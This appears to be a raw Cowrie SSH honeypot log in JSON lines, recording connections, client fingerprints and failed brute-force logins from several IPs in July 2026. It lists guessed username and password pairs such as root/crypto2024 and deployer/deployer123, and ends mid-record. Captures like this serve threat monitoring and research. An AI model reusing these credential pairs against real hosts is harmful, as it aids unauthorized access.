{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:38.245089Z","src_ip":"91.92.40.153","session":"2dbd905ead61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123456","message":"login attempt [ftpuser1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:38.824395Z","src_ip":"91.92.40.153","session":"2dbd905ead61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:39.458292Z","src_ip":"139.99.74.35","session":"bf7125c0e2ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":54106,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3a377632048","protocol":"ssh","message":"New connection: 139.99.74.35:54106 (159.203.135.109:22) [session: b3a377632048]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:39.685539Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:40.115073Z","src_ip":"91.92.40.153","session":"2dbd905ead61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"99.252.20.159","src_port":59984,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7f73bae0972","protocol":"ssh","message":"New connection: 99.252.20.159:59984 (10.17.0.5:22) [session: e7f73bae0972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:40.226586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:40.235602Z","src_ip":"99.252.20.159","session":"e7f73bae0972","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:40.267681Z","src_ip":"99.252.20.159","session":"e7f73bae0972","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"crypto2024","message":"login attempt [root/crypto2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:40.361158Z","src_ip":"99.252.20.159","session":"e7f73bae0972","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:41.412609Z","src_ip":"99.252.20.159","session":"e7f73bae0972","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":35868,"dst_ip":"10.17.0.5","dst_port":22,"session":"96eb946a3549","protocol":"ssh","message":"New connection: 91.92.40.153:35868 (10.17.0.5:22) [session: 96eb946a3549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:44.121176Z"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:44.469201Z","src_ip":"139.99.74.35","session":"b3a377632048","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:44.501091Z","src_ip":"91.92.40.153","session":"96eb946a3549","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:44.504120Z","src_ip":"91.92.40.153","session":"96eb946a3549","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":35610,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b423ecb0a0e","protocol":"ssh","message":"New connection: 139.99.74.35:35610 (159.203.135.109:22) [session: 8b423ecb0a0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:44.716473Z"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace","message":"login attempt [dspace/dspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:45.591754Z","src_ip":"91.92.40.153","session":"96eb946a3549","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:46.907207Z","src_ip":"91.92.40.153","session":"96eb946a3549","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:49.495651Z","src_ip":"139.99.74.35","session":"8b423ecb0a0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":35618,"dst_ip":"159.203.135.109","dst_port":22,"session":"8cf46a4b52b9","protocol":"ssh","message":"New connection: 139.99.74.35:35618 (159.203.135.109:22) [session: 8cf46a4b52b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:49.737564Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":35924,"dst_ip":"10.17.0.5","dst_port":22,"session":"9899e862fceb","protocol":"ssh","message":"New connection: 91.92.40.153:35924 (10.17.0.5:22) [session: 9899e862fceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:49.910227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:50.167513Z","src_ip":"91.92.40.153","session":"9899e862fceb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:50.170854Z","src_ip":"91.92.40.153","session":"9899e862fceb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"root","message":"login attempt [developer/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:51.534349Z","src_ip":"91.92.40.153","session":"9899e862fceb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:53.020799Z","src_ip":"91.92.40.153","session":"9899e862fceb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:54.517132Z","src_ip":"139.99.74.35","session":"8cf46a4b52b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":56772,"dst_ip":"159.203.135.109","dst_port":22,"session":"3af787486a69","protocol":"ssh","message":"New connection: 139.99.74.35:56772 (159.203.135.109:22) [session: 3af787486a69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:54.735812Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":48990,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ac86ca3d7a1","protocol":"ssh","message":"New connection: 91.92.40.153:48990 (10.17.0.5:22) [session: 5ac86ca3d7a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:55.703721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:55.970686Z","src_ip":"91.92.40.153","session":"5ac86ca3d7a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:55.973440Z","src_ip":"91.92.40.153","session":"5ac86ca3d7a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":43586,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae9223174bab","protocol":"ssh","message":"New connection: 160.187.174.22:43586 (159.203.135.109:22) [session: ae9223174bab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:57.844511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:57.847697Z","src_ip":"160.187.174.22","session":"ae9223174bab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:57.908216Z","src_ip":"91.92.40.153","session":"5ac86ca3d7a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:58.096051Z","src_ip":"160.187.174.22","session":"ae9223174bab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"123456","message":"login attempt [elasticsearch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:58.841860Z","src_ip":"160.187.174.22","session":"ae9223174bab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:24:59.251115Z","src_ip":"91.92.40.153","session":"5ac86ca3d7a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:00.095760Z","src_ip":"160.187.174.22","session":"ae9223174bab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:00.842101Z","src_ip":"139.99.74.35","session":"3af787486a69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":56794,"dst_ip":"159.203.135.109","dst_port":22,"session":"375945f43681","protocol":"ssh","message":"New connection: 139.99.74.35:56794 (159.203.135.109:22) [session: 375945f43681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:01.073482Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":49042,"dst_ip":"10.17.0.5","dst_port":22,"session":"4472423e7fdf","protocol":"ssh","message":"New connection: 91.92.40.153:49042 (10.17.0.5:22) [session: 4472423e7fdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:01.761891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:02.171923Z","src_ip":"91.92.40.153","session":"4472423e7fdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:02.189981Z","src_ip":"91.92.40.153","session":"4472423e7fdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer123","message":"login attempt [deployer/deployer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:03.112757Z","src_ip":"91.92.40.153","session":"4472423e7fdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:04.198205Z","src_ip":"91.92.40.153","session":"4472423e7fdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:05.847296Z","src_ip":"139.99.74.35","session":"375945f43681","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":50940,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a679bd7e337","protocol":"ssh","message":"New connection: 139.99.74.35:50940 (159.203.135.109:22) [session: 6a679bd7e337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:06.089904Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":36738,"dst_ip":"10.17.0.5","dst_port":22,"session":"39a2e612df69","protocol":"ssh","message":"New connection: 91.92.40.153:36738 (10.17.0.5:22) [session: 39a2e612df69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:08.305345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:08.337712Z","src_ip":"91.92.40.153","session":"39a2e612df69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com",